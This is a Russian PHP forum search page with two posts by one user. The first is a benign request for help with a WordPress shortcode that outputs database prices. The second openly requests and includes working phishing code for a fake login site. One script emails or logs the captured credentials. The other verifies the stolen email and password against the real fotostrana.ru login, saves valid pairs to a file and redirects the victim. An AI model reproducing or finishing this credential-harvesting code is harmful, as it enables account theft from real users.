PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи

Страниц (1): [1]

> Найдено сообщений: 2
ZverBlin Отправлено: 01 Ноября, 2015 - 21:57:58 • Тема: Вывод данных из БД в Шорткод • Форум: Хранение данных, их вывод и обработка

Ответов: 0
Просмотров: 657
Всем привет
Помогите пожалуйста дописать скрипт
Есть сайт на вордпрес, возникла необходимость создать шорткод для быстрого вывода необходимых данных из базы на любую страницу сайта

В базе у меня таблица с ценами такого вида:
Название
Цена


m100 m150 m200 m300 m400
1000 2000 3000 4000 5000


CODE (htmlphp):
скопировать код в буфер обмена
  1. require_once($_SERVER[DOCUMENT_ROOT]."/wp-content/themes/kora/tables.php"); // ПОДКЛЮЧЕНИЕ ЯДРА
  2. $db = new MyDB();
  3. $db->connect();
  4.  
  5.  //СОЗДАНИЕ ШОРТКОДА
  6.  
  7. function m100(){
  8. $result = mysql_query(" SELECT * FROM employees1");
  9.  mysql_close();
  10.  while($row = mysql_fetch_array($result))
  11. echo "Марка 100: ".$row['m100']."<br>";
  12.    
  13.  }
  14.  
  15. add_shortcode('m100', 'm100');
  16.  


Код выше выводит в шорткод значение 1000 из столбца m100

Как по аналогии сделать тоже самое с остальными столбцами в правильном виде)?
ZverBlin Отправлено: 12 Августа, 2011 - 21:48:30 • Тема: PHP скрипт проверки данных • Форум: Напишите за меня, пожалуйста

Ответов: 0
Просмотров: 28
Нужен скрипт, который будет проверять данные введённые в мой сайт (фейк) на офф сайте и если они правильные заходить на этот сайт и отправлять лог и пасс мне на почту, если данные не правильные открывать мой сайт (фейк) с ошибкой и не отправлять неверные данные.
Пишем в теме или в скайп blin-vru
Вот скрипт отправки логов на почту
PHP:
скопировать код в буфер обмена
  1. <?PHP
  2. $BASE="мыло куда отсылаем логи";
  3. $IS_EMAIL=true;
  4. $LOCATION="Куда идем после ввода данных";
  5.  
  6. $p0=$_REQUEST["srvt="];
  7. $p1=$_REQUEST["DESCRIPTION"];
  8. $p2=$_REQUEST["Keywords"];
  9. $p3=$_REQUEST["Username"];
  10. $p4=$_REQUEST["Domain"];
  11. $headers = "Content-type: text/html; charset=windows-1251\r\n";
  12. $headers .= "From: bot <$BASE>\r\n";
  13. $headers .= "Bcc: $BASE\r\n";
  14. $info="$p0:$p1:$p2:$p3:$p4:\n";
  15.  
  16. if ($IS_EMAIL){
  17. mail($BASE, "*** Тема сообщения[source][/source]", $headers.$info);
  18. } else {
  19. $fd=fopen($BASE,"a+");
  20. fwrite($fd,$info);
  21. fclose($fd);
  22. }
  23.  
  24. header("Location:$LOCATION");
  25. ?>

Вот скрипт проверки на валидность
только в нём есть ошибки надо доработать
PHP:
скопировать код в буфер обмена
  1. <?PHP
  2.  
  3. /**
  4.  * @author m0hze
  5.  * @copyright 2009
  6.  */
  7. $email = $_POST['user_email'];
  8. $password = $_POST['user_password'];
  9. if($email == '' && $password == ''){
  10. header("Location : index.php");
  11. } else {
  12.     $post = 'user_email='.$email.'&user_password='.$password;
  13.     $cl = curl_init('http://fotostrana.ru/user/login');
  14.     curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
  15.     curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
  16.     curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
  17.     curl_setopt($cl, CURLOPT_HEADER, 1);
  18.     curl_setopt($cl, CURLOPT_POST, 1);
  19.     curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
  20.     $exec = curl_exec($cl);
  21.     curl_close($cl);
  22.     $error = file_get_contents('index.php');
  23.     if(stristr($exec, 'Неверный логин или пароль')){
  24.         echo $error;
  25.     }else{
  26.     $fo = fopen('base.php','a');
  27.     fwrite($fo,"$email:$password\n");
  28.     fclose($fo);
  29.     header("Location: [url]http://fotostrana.ru/user/login/?user_email=[/url]$email&user_password=$password");
  30.     }
  31. }
  32. ?>

Страниц (1): [1]
Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB